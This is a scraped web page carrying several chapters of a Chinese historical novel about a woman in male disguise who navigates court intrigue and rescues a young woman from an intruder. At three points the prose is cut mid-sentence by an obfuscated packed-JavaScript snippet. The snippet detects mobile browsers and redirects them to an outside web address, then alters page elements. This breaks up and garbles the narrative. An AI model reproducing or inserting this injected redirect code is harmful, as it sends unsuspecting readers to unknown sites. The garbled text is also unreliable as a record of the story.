“既已入局,一切便由不得我了。如今纵使我想归隐,只恐大将军也不会如我所愿吧。” 桓梁两家是世交,若无当年苏钧之乱,桓氏绝不会沦落至今日需要在皇氏和大将军之中投机寻营的地步,桓权也不会陷入进退维谷的困境。 “你有想过,若有一日你身份暴露,届时该当如何?” “唯死而已。辅嗣,你还记得我给你讲个女驸马的故事吗?” “记得。” “其实这个故事有两个结局,我只给你讲个归隐的结局,现在我告诉你另一个结局,那个女扮男装的女儿郎最终一头撞死在金銮殿上。 辅嗣,若真有那样一日,必然是我已陷入死地之时,归隐,于我而言不过奢望罢了。” “归隐,于你而言便这般难吗?” 桓权苦笑着摇摇头,也只有在这山雨朦胧时,也只有在谢弼面前,她才能如此袒露心声。 “归隐?”桓权讥笑一声,哈哈大笑起来,对谢弼道: “谢辅嗣,你不是第一天认识我了,当年你我凌云志,如今可还剩得几分? 建功立业、封侯拜将、青史留名。谢辅嗣,你扪心自问,难道你不想吗? 我想!无论如何,我都要试一次,哪怕粉身碎骨,也甘心。 为人一世,若生不能食五鼎,死即为五鼎烹耳。” “可主父偃下场并不好。” “乱世之中,难道嵇康的下场就好了吗?” 谢弼目光灼灼,瞧着桓权笑而不语。 苏钧之乱后不久,谢弼就辞官了,一场动乱,让他彻底熄了做官的心思。 他的亲人、挚友皆丧身于朝堂之争中,势力争夺,权力倾轧,战争离乱,他目睹了太多的杀戮,也害怕自己有朝一日会成为其中的祭品,从而连累了整个家族。 寄情山水,归隐山林,是他唯一能做的。 “至少嵇叔夜一生至真至朴,得人性之至。” 桓权低头自嘲一笑,道: “或许吧。” 谢弼侧眼看向桓权,神色凄婉无奈,与当年初识时那个意气风发的少年相去甚远。 当年的桓权绝不是今日这般诡谲算计的模样,他才高志大,行为磊落,是江左知名的才子。 是什么时候变成这样的了? 谢弼自己也说不清,连他自己也再是当年那个神采张扬、壮志凌云的谢家二郎了。 “你上次送来的《道德经》,我很喜欢,我瞧你的书法如今精进不少,已是颇有风骨,假以时日,必为一代名家。” 谢弼转而笑道,说起桓权最擅长的书法来。 “辅嗣谬赞了,我已是许久不曾静心练过书法了,倒是辅嗣作的几张《道德经注》,我瞧着似是神仙笔法,落笔不凡,见解颇深,我观过不少名家《道德经注》,皆不如辅嗣。” 说起对玄学的见解,谢弼素来是颇为自得的,他自以为当今之世,没有比自己对道德之言见解更深、更明的了。 这也是他的傲气所在,七岁识读《道德经》,此后诸子百家皆通,尤其擅长《易》,对于天地变化之数,宇宙推演之理,他未满十五便已颇有心得。 十五岁那年,他与当时的文坛领袖、清谈名士、阳平驸马都尉赵峻的丘山之辩,辩的是大衍之数、有无之理,一连辩了三天三夜,不落下风,这一辩天下知名。 谢弼十八岁那年,便已然是江左第一名士,他尚清谈、玄学、文学,唯独不通于俗物,性高和寡,以至于一入仕途,便遭人妒,被群小构陷,人言毁谤。 仕途不顺,又遭罹乱,不仅自己深陷囹圄,便连亲友都丧身屠刀之下。 苏钧之乱中,昔日和谢弼有往年之交的赵峻,与苏钧勾结谋逆叛乱,最后叛乱被平,自杀身亡。 而他也因为昔日和赵峻的交情,接连被构陷诽谤,谢弼不愿受辱,索性弃了官印。 谢弼弃官之时,桓权正被朝廷征辟为郎官。 “前些日子,与法正和尚论道佛法,很有些感悟,正要与你说说。” 桓权静静听着谢弼絮絮叨叨讲述着两人论道佛经的内容经过,偶有颔首答语。 桓权昔日也是江左有名的清谈家,虽不及谢弼、赵峻,年轻一辈也是小有名气,入仕之后,便甚少谈玄论道了。 信步闲谈便到了钟雅埋骨地,四面萧瑟,秋色黄草,钟雅坟冢前放着新鲜的糕点水果,旁有未燃尽的香烛,坟四周的杂草都被新锄过一回,露出一茬茬草梗。 无疑不久前有人来祭奠过,两人取下腰间系着酒葫芦,以酒浇地,祭奠亡人。 又烧了纸,燃了香,拜了三拜。 谢弼将自己写的祭文,连同纸钱一起焚了,道:“犹记当年北地英雄气,却是今日冢中枯骨,叔彦兄,当年你以死救帝,一片忠君护国之心,如何能料到,当日苏钧,今日梁冀,势力相争,无穷无尽。” 谢弼的语气有着穿破时空交织的无奈,他看透了名利之争的虚无、可笑,却也恨自己的渺小,常常觉得有一种绝望的无力感萦绕心头。 “叔彦兄,北地义气,权终身难忘,当年长亭一别,原望再聚之时,能试剑饮酒,再论《春秋》,不想竟是死别。” 桓权长叹一声,落下泪来,当年桓权远离京都,并不知详情,只是耳闻钟雅死状惨烈,不曾目睹,只是感叹物是人非,生死难料。 两人俱哭祭了一回,方才沿着山路返回,不想半路却下起雨来。 好在山腰处有一茶棚,两人就在茶棚避雨,穿着的衣裳都叫雨水淋湿了,经风一吹,还有几分寒气 两人到时,茶棚中已有了一年轻夫人并两个丫鬟四个脚夫都在此处避雨,年轻的夫人坐在茶棚内侧,旁又有丫鬟侍奉着,瞧不清楚模样,四个脚夫都蹲在茶棚外侧,聊着闲天。 两人略擦了擦脸上的雨水,就向茶翁要了两碗热茶暖身子,正要往里坐,瞧见有一妇人,就止步坐在外侧了。 喝着热茶,身子略暖和些,谢弼瞧着桓权的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653586|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,道: “你伤刚好,又淋雨,只怕又得要好些时间了。” “既如此,辅嗣索性就多留些日子,待我伤好了,再离开也不迟。” 桓权无所谓笑着,目光灼灼直面谢弼的注视,她不在乎自己的伤,却真心希望谢弼能留在她身边。 她的知心人太少,自从母亲离世后,更是常觉孤寂,这世间知道她女儿身的人,屈指可数,能知她志向的,更是无几。 在这波诡云谲的斗兽场中,她太孤寂了! “好!” 谢弼很干脆答应下来了,坦然任桓权打量自己,目光温润犹如朗月照轩,水纹荡漾。 桓权心中一暖,嘴里微微上翘,将目光落在了里侧的妇人身上,只觉那妇人有些面熟,似乎在哪里见过。 谢弼顺着桓权的目光看去,随即低声在桓权身侧耳语了一番,两人便站起身,向那妇人走去。 “嫂夫人。” 桓权与谢弼俱向妇人施礼,那妇人正是钟雅寡妻庾玟,而今不过才二十岁,正是青春年华,虽着素服,难掩好姿色。 庾玟起身瞧桓权二人打量了一番,满眼疑惑,直觉得面熟,仍福身还礼,道: “不知两位公子是哪里人氏?因何认我为‘嫂夫人’?” “弟乃是颍川桓权,这位是陈郡谢辅嗣,与已故的钟侍中是故交,因今日是钟侍中亡身三载祭日,特来祭奠故人。” 经桓权这番介绍,庾玟想起来眼前两人,的确都是钟雅的旧友,当年也是常来拜访过的,特别是谢弼,是为她亡夫收尸之人。 只是这三年来,她深居简出,确实久未见过外人,难免记忆模糊,特别是桓权,当年她嫁与钟雅时,桓权正值生母重病,后生母病亡后,更是离京守丧去了,两人仅有数面之缘。 庾玟再次福身道谢,眼中尚噙着眼泪,抿着嘴唇,道: “两位公子还记得亡夫,是亡夫之福。” “夫人请节哀,钟侍中泉下有知,也不愿夫人如此哀伤零落。” 庾玟颔首拭泪,道: “妾与亡夫缘薄,成婚未及一载,苏钧之乱起,夫君为国殒身。” 桓权上前劝解道: “逝者已逝,生者还需勉力前行,钟侍中是为国捐躯,乃是忠义之举,青史之上留其名,后世之人咏颂之。 又太史公言:‘人终有一死,或重于泰山,或轻于鸿毛’,钟侍中为社稷而死,夫人又何必久久哀伤不能忘怀,以至于身体受损呢?想必钟侍中,若是泉下有之,必不望夫人如此。” 桓权一番劝解下来,庾玟止了泪,微微颔首,长叹一声: “有桓公子此言,令我心中宽慰不少。” 宽慰一番后,桓权施礼道: “我常听闻庾家有一小妹,尤其擅长书法,曾写《橘帖》一副,字迹清秀,颇有灵骨,只是一直不曾拜访,不知嫂夫人可知?” “不瞒桓公子,《橘帖》正是拙妇昔日之作,区区之作,怎敢担桓公子胜赞。” 虽是谦虚之语,但言语之中颇为自得,当世胜传才女,世家之中,多以诗书教女。 ‘通晓礼乐,精于诗书。’是世家贵女的典范。 能在闺中扬名,是一件极为自傲的事情,家族也能得“善教”的美名。 11. 第十一章 和光同尘 桓权作为当世江左名流,尤其是在书法方法,更是年轻一代的翘楚,能得他的赞扬,对于书法界而言,是一件难得的嘉事。 “原来竟是嫂夫人,是权眼拙,在此赔礼了。” 桓权拱手,朱玟还礼。 两人论起书法,评论起古今名家字帖,一时相交甚欢,颇有引为知己的慨叹。 庾玟自丧夫后,还是第一次与人如此亲近交谈,桓权言语儒雅,论道书法却颇有机锋,一针见血,常令庾玟有“豁然开朗”之感。 而桓权早便知庾玟就是那庾家善书法的小妹,心中有意相交,又见枯坐,难免尴尬,遂主动以“橘帖”引题,令庾玟能自在些。 不想庾玟见解果然不凡,她素来精于书法,家中名家字帖都览尽了,昔日下嫁钟雅,也便是听闻钟雅家有传世的“锺尧”字帖。 不觉过了多久,直至骤雨停歇,几人才恋恋不舍起身离去,桓权二人不放心庾玟下山路途,一路护送,直送上大道,方才折返农家,去取马匹。 走了两步,桓权又追上庾玟,道: “嫂夫人是重情之人,然嫂夫人为钟侍中守孝三载,已是尽哀,何必要搭上自己一生?日后长远,还望夫人早做打算。” 庾玟惊诧,却还是颔首答应了。 谢弼听出桓权话语中有劝庾玟再嫁之意,心中颇有些不快,却不曾多说什么,只目送庾玟一行走大道入城去了。 两人取回了马,又在农家吃了顿便饭,换身干净衣物,予那农家些许钱财,又去附近山峦赏玩了一回,直至午后未时末刻,两人才骑着马晃晃悠悠回城去了。 路上,谢弼到底是问出心中的疑惑。 “那庾夫人有意为亡夫守节,你有何必劝人改嫁?叔彦是你我好友,你怎忍心见他妻子做他人妇?” “我只是不喜欢‘夫有再娶之义,妇无二适之文’这句古话而已,人有七情,岂分男女?” 桓权骑在高头大马上,无所谓笑答着。 谢弼仍有些不解,道: “纵是如此,可妇有守节之志,难道不是一件好事吗?” “不好!历来只闻女子守节,可曾听闻男子为妇守节?我不喜欢两套不一样的标准。” 没有太多的辩论,桓权只是简单的论述着自己的喜好,在这乱世,守节并不算普遍,然而社会仍在歌颂。 世家女子守节较平民要容易许多,故而也有部分世家会要求家中女儿媳妇守贞守节,文人作传,朝廷表彰。 桓权见过、听过,世家女为家族守贞,为家族改嫁,为家族抛弃自己,却极少能留下自己的名姓。 桓权不喜欢,却无能为力。 “乱世之中,有人争的是天下,有人争的是生死,有人却连一争的资格都没有。 我只是希望庾夫人能作为庾玟,做一回选择而已。” 桓权策马狂奔在雨后的烟雾中,谢弼看着桓权的背影,一身青黑色的衣袍与秋雨几乎融为一体,心中似有所悟,也策马追了上去。 淋一回雨,桓权的伤果然又加重了,谢弼为桓权上完药,又交代了些注意事项,就打算起身离开,却被桓权抓住手,谢弼错愕回望,正对上桓权的眼睛。 “辅嗣,陪我对弈一局如何?” “你心力太过,不如改日。待你痊愈,你我再对弈?” “无妨,解闷而已,不在输赢。” 谢弼不再拒绝,只是心神有些慌乱,两人相交多年,肌肤之亲也有过几回,然而谢弼仍会因两人偶然的肢体相触而怦然心动。 在遇见桓权前,谢弼未曾想过“知己”二字,在遇桓权后,方知“知己”难寻;在得知桓权是女子前,未曾想过“娶妻”一事,在两人相知后,世间多少佳人都不足论。 明知桓权不愿为人妻室,谢弼仍愿等待。 既见君子,云胡不喜? 谢弼以前只以为是诗中夸大之言,后来方知,有些人无需见,只需听闻有关她的只言片语,便足以慰藉漫漫长夜。 摆好棋盘,两人对坐,一人执黑,一人执白,两人闲论诗文经学,上言屈子离骚,下辩陈王洛神,唯独不论今时之事。 两人一枚接着一枚落子,时而领先,时而落后,相互攀咬得很紧,一时之间,谁也无法完全占据上风。 两人的精神最后都聚于棋盘之上,一先一后,进行着最后的交锋,最后谢弼赢棋,却只以三目险胜。 “你赢了!”桓权将棋子丢回棋篓中,笑着说道,并未因为落败而灰心,洒脱随性至极。 “论棋道,你不输于我,今日输棋,是因你心中不宁。” “案牍劳形,自然无法静心。” 桓权轻笑着,端起茶盏抿了一口茶水,似乎是在为自己找借口。 “士衡,这样活着不累吗?” “习惯了。” 桓权笑着,挥手让屋中的侍者尽数退去,一颗颗捡棋盘上的棋子,道: “我下棋有个习惯,不喜欢赢棋,却也不喜欢输棋,故而每次输赢都只在三目内,这样无论输赢,对弈者都能得其理趣,不至于生怨。” 谢弼闻言却怔在了原地,直愣愣盯着桓权,心中犹如万浪滔天,只觉得窒息得紧。 “辅嗣,我与你不同,精于算计是我能在朝堂之上立身的根本,大将军、陛下、陈王、肃王、世家、豪族、外戚……犹如身临不测之渊。” 桓权说这话时,平平淡淡似乎在诉说着不相关的事,一颗颗棋子落入手心,让桓权有种安心的感觉。 谢弼不知该说些什么,论道谈玄,让桓权弃官归隐吗?可桓权本就是谈玄的大家,她比任何人都知道荣华富贵转头空。 谢弼只能伸手握住桓权的手,跪行上前,陪着桓权将一枚又一枚棋子捡回棋篓当中。 晨光熹微,谢弼便听得耳边窸窸窣窣,身侧之人就已经起身,谢弼知道桓权有早起的习惯,只迷迷糊糊应了桓权两声。 桓权幼时母亲教育甚严,从来都是鸡鸣五更时起身,练书习武,十五年来,风雨无阻。 而今日桓权却在天明时被宣召入宫,桓权看了一眼尚在睡梦中的谢弼,轻笑一声,转身就随宣旨的郎官入宫去了。 距上次面圣,已过月余,桓权身居尚书郎,虽非天子近臣,却也因为才气常伴驾左右,这宫里的路也走过多回了。 天子是在寝殿接见的桓权,隔着重重锦绣帘幕,桓权只在外殿行礼问安。 “来者可是桓权?” 桓权刚刚立定,便听得帘幕内有老者声,不待桓权回答,早有谒者代答: “启禀陛下,尚书郎桓权已到。” “让他进来。” “是。” 早有宫人掀起帘幕,桓权由谒者领入内殿,殿内天子引枕凭卧,旁由妃嫔侍候汤饮,桓权只觑看一眼,便低下头,在陛阶下磕头问安。 “臣桓权拜见陛下,恭愿陛下圣安。” “朕安,起来回话,赐座。” “谢陛下。” 桓权在蒲席上跽坐了,屏息凝神,眉目低垂,目不斜视,正襟危坐。 “江氏一族的事都处理好了?” “蒙陛下圣恩,还天下以清明,为我桓氏雪耻,如今江氏谋逆之事已了,案卷归宗,无复异议。” “如此甚好!可曾吃过朝食?” “臣已吃过,蒙恩问候,臣微末之身,万死以报陛下圣恩。” “呵!”天子冷笑一声,挥手让屋内伺候侍者妃嫔尽数退下,只留下贴身的杨内侍贴身在侧。 “你不用在这里与我装神弄鬼的,朕只问你,要你办的事,如何了?” “禀陛下,事情已妥了七分。” “好!好!不亏是乔元达向我一力举荐你,你原是个真有本事的。” “臣万不敢当。” 桓权伏地拜谢,天子瞧着桓权的谦虚谨慎的模样,心中是越看越喜欢,哈哈大笑起来。 “桓权,若此事成,你当居首功。” “全奈陛下圣明。” 天子闻言颔首,心中愉快,奈何身体病痛难忍,咳嗽起来,杨内侍服侍天子漱口,将那带血的帕子藏在袖中。 “陛下~” 桓权起身拿过桌案上的茶盏,递给杨内侍,在一旁关切帮忙,直到天子气息稍顺,才回到蒲席上。 “放心,朕暂时还死不了。” 桓权缄默不言,低着头,天子瞧着桓权的模样,笑道: “怎么?被吓着了?” “臣……” “放心,朕不怪你,你倒和你兄长的性子迥然不同,若是你兄长,必然已经说吉祥话了。 你兄长比你稳重谨慎,他是不会身涉险境的,储君一事,你兄长只会避之不及。 倒是你这傻孩子,还巴巴撞上来。” “臣只想为陛下解忧。” “罢了!你这小狐狸,到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653587|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为朕分忧,还是为自己求富贵,你自己心里清楚,朕不计较。 不过这件事你做的不错,虽不知你是如何劝得梁冀改了主意,能荐陈王为嗣,但能做到,也是你的本事。” “大将军一心为公,自然能体会陛下圣意。” “呵!梁冀!” 天子冷笑一声,不过他也没有继续说下去,转而道: “朕让你桓氏尚公主,你们应该知道该怎么做吧?” “陛下厚爱,臣桓氏必将肝脑涂地,以报圣恩。” 桓权以头叩首。 天子招招手,让桓权坐在自己榻前,伸出手扶着桓权的肩膀,压低声音,声音沉闷,宛如敲击朽木发出才能发出的咕隆声。 “朕时日无多了,待朕殡天后,你要好好辅佐陈王,莫要让我司马氏的天下落入梁冀手中。 当年你的父亲辅佐我祖父江左继任天子,立下不世之功,今日唯望桓卿继承乃父遗志,做个忠君体国的忠臣。” “臣领旨。” 桓权落下泪来,连声音也带上的哭泣声,以头抢地,头磕在木板上,发出沉闷的声音。 “好!好!成侯有子如此,乃我晋朝之幸啊!” 桓权叩首不言。 “跪安吧!” 桓权离开承安殿时,面上尚有泪痕,一缕阳光冲破层云射在琉璃瓦上,泛着五彩光浪,桓权眯着眼睛,看着琉璃彩上的白光,用衣袖擦了面上的泪,对送自己出门的杨内侍道了声谢。 跟随小黄门出宫后,桓权并没有回自己的府邸,没有任何犹豫,直接转身去了大将军府。 天子得知这件事的时候,看奏疏的手略一停顿,却并没有太多意外,杨内侍却有些急切了。 “陛下,桓权他……可信吗?” “桓梁两族是世交,桓权是不可能背叛梁冀的。” “那陛下为何还要……” “桓权不会背叛梁冀,可同样,桓权也不会背叛朝廷,桓氏若要执掌权柄,最好就是天子与梁冀相斗。 他桓氏才好坐收渔利。 放心,乱臣贼子的名声他桓氏一族还不敢要!” 杨内侍似懂非懂,却也不敢再置喙天子的决定。 桓权直入大将军府求见,正值邓玠在将军府值守,见桓权急匆匆而来,有些不解将人拉在了廊下的僻静处,道: “你这般脚步匆匆是为甚?” “我有急事要见大将军。” “何事?” “回头再与你说。” 说着甩开邓玠拽着的衣袖,直接快步向内走去,只留下邓玠满脸疑惑,稍一思量,邓玠决定追上去看看。 邓玠见桓权直入内堂,而自己想入,却被拦在外,只得在堂外徘徊踱步,心下不安。 “你来了。” 梁冀对于桓权的来访并不意外,让人起身回话。 “陛下今晨召下臣一事,大将军已经知道了?” “刚刚得知,桓侍郎便来了,陛下身子如何?” “这……下臣并非医官,不敢妄言。” 桓权只是拱手模糊回答着梁冀的问话,梁冀冷笑了一声,道: “看来桓尚书郎是不信任本将军了。” “下臣不敢。” 梁冀威胁了一句,见桓权并没有说真话的打算,也就弃了,他知道桓权到底是桓氏族人,名义上也是天子台郎,不可能全无顾忌偏向自己。 “罢了,说说天子都与你说了些什么?” “陛下询问臣江氏一事,并大将军于立储之事上的态度。” “你如何说的?” 梁冀这样问很明显追问的就是后一件事,桓权上前半步,道: “下臣道,大将军无私心,以社稷重之,欲荐贤者匹其位。” 梁冀闻言,疑惑审视着桓权,今晨天子屏退妃嫔内侍,与桓权私谈,他也不知细节,他并不知眼前这个青年是否会诓骗自己。 桓权在梁冀的审视下,镇定自若。 早在当年孤身带着桓冲入宣城讨要叔父尸身的时候,桓权就不再惧怕刀剑加身的威胁了。 她知道梁冀不会杀自己,不仅因为桓梁两家的交情,更因为杀了自己,于梁冀而言没有任何好处。 她江左名士的身份,她忠义直行的名声,让她成了最适合周旋于世家与天子之中的人。 一如当年的乔昭,乔元达。 “是吗?” 12. 第十二章 遇到流氓怎么办 “大将军公忠体国,世人皆知。” “哈哈哈!” 梁冀大笑,一挥衣袖,道: “士衡,与我对弈一局。” “是。” 桓权没有推辞,侍女摆好棋盘,两人对坐,桓权敛袖执子,见大将军落子中元,自己随其后,在四角落下子来,黑白棋子一来一回,很快棋盘上交织成一片。 “士衡,以为这天下在何人?” “天下当为天下人之天下,唯贤者可居其首。” “公以为何为贤?” “尧舜禹汤之道,可谓之贤。” “公错矣,尧舜禹汤之道,当称之为圣。更况往事俱已矣,今时还未知,公以为今人…何人可称贤?” 桓权心中一颤,手中棋子迟迟不能落下,忐忑不安,喃喃不知该如何作答。 “今人?” “今人。” 梁冀紧逼,桓权诺诺,心中一时茫然失措,眼神也飘忽不定,这种情况,稍有不慎,便可能命丧黄泉。 大将军明是问“贤人”,实则问“天下”。 若答天子,大将军必不悦,今大将军执掌大权,自己公然挑衅,命不久矣。 若答大将军,未免有谄媚之嫌,更况大庭广众下,此言若是传出,他人必以为我桓权是阿谀的小人。 若他日大将军失势,自己必将以因今日之言被治罪。 此番便是真的进退两难,桓权强扯出一抹笑容,答道: “国以贤而能兴,何人可以兴天下,何人便可称“贤”,贤非贤人,实因行贤事。” 桓权并未正面回答大将军的问题,而是论说,一个人贤与不贤,不是看他什么身份,而是看他做了什么事。 梁冀愣了一下,明白桓权的意思,一面大笑,一面指着桓权道: “好一个桓士衡!果然是江左名士啊!” 桓权跟着陪笑,冷汗不知何时浸湿了内衣,面上却还是云淡风轻的模样。 接下来的棋局,两人下的平稳,梁冀并未再为难桓权,转而论起了议储一事。 “你上次所言,本将军以为甚是,已上奏天子,议立陈王为太子。” “大将军英明!” “不是我英明,是你桓权思虑周全,如今时局不稳,我若真与顾氏争论起来,倒让琅琊王氏、陈郡谢氏、东海庾氏看了笑话,取了便宜。” “大将军权摄天下,臣不过是仰仗烛火之光罢了,不敢称功。” 桓权淡淡答着,似乎此事并非她一手谋划,只低眉瞧着棋盘上黑白交错的棋子。 “士衡知道我最喜欢你哪一点吗?” “啊?下臣不知。” “小小年纪便能宠辱不惊,士衡来日可期啊!” “权不过是一小吏,能有今日,全因大将军赏识,臣不能不竭心尽力以奉大将军。” 梁琛大笑,他知道桓权不过是在说客套话,不过桓权态度实在是太过诚恳,梁冀也不由信上几分。 毕竟这世间人都是爱听盛赞之语的。 伴随着最后的棋子落下,桓权盯着棋盘半晌后,将手中棋子丢回棋篓中,道: “下臣输了。” “士衡,你可没输。” 梁冀别有深意地对桓权道。 桓权只呵呵笑着,并不答。 桓权退出白虎堂,刚转过回廊,就被人拽住往背屋处去,桓权刚从鬼门关转了几回,突然被惊,腰间的佩剑险要出鞘,就被按了回去。 “是我。” 桓权见来人是邓玠,心下松了口气,甩开邓玠拽着的手,道: “有事吗?” “你刚刚匆匆去见大将军,所为何事?” “与你有关系吗?关心这么多作甚?” 桓权说着就要朝外去,邓玠跟了上去,笑呵呵地道: “你怎么恶声恶气的!一点意思都没有!” “知道有句话叫‘好奇心害死猫’吗,什么时候丢了命,你就老实了!” “哪那么容易死?” “你有衣服没?” “有啊!身上穿的不就是。” “干净的,没穿过的。” “有!” “给我找一套。” “哦!” 从宫里到将军府,桓权的亵衣早不知道被冷汗濡湿过几回,这会儿问邓玠借了一套干净的衣物换了。 邓玠将一套新衣教到桓权手中,刚想随桓权踏入房门,就被关在门外,邓玠尴尬看着禁闭的房门,嚷嚷道: “这么多年怎么还这么藏头亢脑的,都是男人,什么没见过。” 不过邓玠也知晓桓权的性子,老老实实坐在门口的台阶上等着。 他可记得小时候自己偷看桓权撒尿,被桓权发现,被追了半条街,打了个半死的事情。 桓权自幼就性子孤僻,因为生父早逝,母亲又是个孤苦无依的妾氏,亲兄长又常年在外做官,桓权个子又小,看起来文文弱弱的,在一群纨绔子弟中,就是受欺负的对象。 当年自己就随京中一群膏粱子弟就堵过桓权,没想到那时候桓权的年纪虽小,脾气却大。 一群人打不过,他就揪着其中看起来比较弱的小孩往死里揍,那群小孩虽然都是惯惹事的,可眼瞧着桓权这种不要命的打法,也都害怕了,最后都化作一溜烟跑了。 只留下桓权和那个挨打的小孩,那个挨打的就是他。 一群人打一个,还没打赢! 他们虽然贪玩,这样丢脸的事也没好意思告状,只得自己把这个闷亏给吃了。 也有不识相告状,不通情理的父母去讨公道的,结果桓氏家中的长老,见是小孩打架,也就没放在心上,只赔礼就算完了。 至于桓权的母亲更是护犊子得很,听说打自己儿子的人上门来讨账来了,直接领着桓权,将登门的人,好生讥讽了一番,让这讨礼的人好一顿没脸。 原来这桓权母子虽是庶出,桓氏家中长辈也多不待见他们母子,但毕竟成侯的子嗣,桓氏子孙,宣文夫人虽是妾氏,却有诰命在身,也是容不得外人欺辱的。 那次打架后,邓玠回家挨了好一顿揍,等伤略好些,被父亲提溜着亲自去桓府登门道歉。 也是自那以后,两人算是不打不相识,常一起读书练武,爬树骑马掏鸟窝,是好事坏事干了一箩筐。 邓玠自知自己在诗书经学上比不过桓权,便一心苦练武艺,誓要在沙场上博个封侯拜将。 苏钧之乱时,他跟在大将军身边征讨逆贼,也立国不少功劳,今任大将军府从事中郎,但远远不够,他在等待着新的机会。 桓权换了一身新衣,腰系蹀躞,佩长剑,头发也用布巾裹了,锦绣长袍,瞧着就知是出身世家的贵族公子。 “你身量到底比我要长些,我割了一部分才合身,回头我叫人送一套新衣到你府上。” 桓权笑着,将自己穿过的旧衣拿在手中,交给自己带来的小厮手中,要他带回去交给蕲茝姑娘,自己则信步同邓玠朝府外走去。 “不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是哪家的贼子,竟敢光天化日,入室行凶!难道不怕官府的闸刀,要你一个死无全尸。” “官府?哈哈哈!你可知官府乃是我家开,公府之人乃是我家中人,我家世代公卿,我虽是白衣,却也是世家出身,你不过一书生,能奈我何?” 那人瞅桓权衣着锦绣,样貌不俗,只疑出身名门,故而不敢造次,只拿言语威胁。 “建康城的世家多如牛毛,什么时候一个白身也敢自夸公府是我家!当真是不知好歹。” “旁人自然不敢,我可是琅琊王氏子弟,自然是可以的。” 桓权心下一沉,她正暗想什么人敢在建康城做这入室行凶的强盗行径,原来竟是琅琊王氏。 若此人真是琅琊王氏,事情却不好办了,桓权虽不惧琅琊王氏的势力,却也知争执起来,也是一场麻烦。 “琅琊王氏自王休徵始发迹,想当年王休徵王公仁孝之至,高洁清素,怎么会有你这样逞凶肆虐的子孙,想来定然是贼子假托琅琊王氏之名行凶。” 邓玠听着那人说是琅琊王氏,震惊得看向桓权,若是他不报身份,自己这边反倒好办,可若真是琅琊王氏,免不了要卖琅琊王氏一个面子。 却突然听到桓权的话,正要说话的嘴顿时噎住了,他看得出桓权的确犹豫过,没想到最后竟然这样说。 “你!找死!” 13. 第十三章 结为义兄妹 桓权与邓玠两人治服一个酒色之徒还是轻而易举的事,将那恶徒踩在脚底下,至于恶徒带来的那些仆役,见主子都被抓了,也不敢贸然向前。 桓权将人治服后,目光逡巡于院中之人,道: “院中可有能书写之人?助我一臂之力。” 桓权声音落地,场中无人应答,这时抱着姆妈的江芷,道: “墨书,你来!” 刚刚为救自家女娘被殴打鼻青脸肿,又险些失身的小青女闻言忙不迭爬起身,去屋中拿纸笔,奉给桓权。 “小姑娘,难为你了,麻烦你一会儿将我的问话和这贼子的答话都尽数记下。” 桓权温声细语嘱托墨书,待墨书犹豫点头答应,他才转头看向贼子,目光如剑,犹如雷霆震怒,语气凶恶。 “说为何要入室逞凶?” “饶命!大侠饶命!我说!我都说!” 原来这人乃是东城别院近处的邻人,月余前,见空寂许久的别院忽然人声喧闹,故而留了心。 观察下来,发现住进来的是一妙龄女子,姿容艳丽,不由动了淫心,但又恐这女子是哪家的贵妇外宅,故而不敢叨扰下手。 可观察发现这别院竟只有一女子居住,家中是有些仆役,却都是些老弱病残的,成不了气候。 近日更是发现女子家中有典卖衣物首饰的举措,猜想其必然无亲无故,故而起了歹心。 才会带着家仆来白日行凶,因他常仗着家世欺男霸女,这附近的人家都畏惧他,虽听得呼救声,却不敢相助。 桓权听了,狠踢了那人几脚,只还不解气,叫人拿绳子捆了,割破贼子的手指,在供词上画押。 桓权叫自己的小厮拿着自己的拜帖去司隶府请兵,邓玠有些不明,道: “这样的事让京兆府的县尉来处理就行了,何必惊动司隶府的人,他前不久才因为江氏的事参你。” “我知道,叔宝放心,权自有主意。” 听桓权如此说,邓玠知道桓权是聪慧至极的人物,必然是有道理的,也不再相劝,只是注意到桓权身后护着的那丽人。 蛾眉横翠,粉面生春,确实是一等一的丽人。 又见桓权低声细语安慰那女子,却是自己从未见过的体贴,想着近来的传闻,猜测这人便是那江氏女了。 “都怪我,没有想到你一介孤女处境艰难,以至于让姑娘受惊了,桓权在此赔礼!” 桓权向江芷作揖赔罪。 江芷原本已经决心忘记桓权的,在别院居了有一段时日,因长日无聊,又挂念着被流放的母亲、姊妹亲人,便想着变卖些衣服首饰,或是托人给母亲送去,或是亲自去追寻母亲。 还未决定,便遇见这入室行凶的贼人,饶是自己与家仆奋力拼搏,仆役被打伤,侍女被凌虐,还是不能及,更可恨自己的姆妈被贼人一巴掌打在地上倒地不起。 江芷力小挣扎不过,正绝望之际。 桓权破门而入,从贼人手中救下了她,江芷那颗死寂的心复燃起来,不过此刻却不是她叙私情的时刻,想到为自己而昏倒的姆妈,江芷急忙去查看。 内心焦急,连声呼叫姆妈,奈何姆妈口吐鲜血,却回应不了自己,最终只伸手摸着江芷的脸颊,然后无力垂下。 “姆妈!姆妈!” 江芷绝望哭喊着,声音凄厉,叫人不忍听。 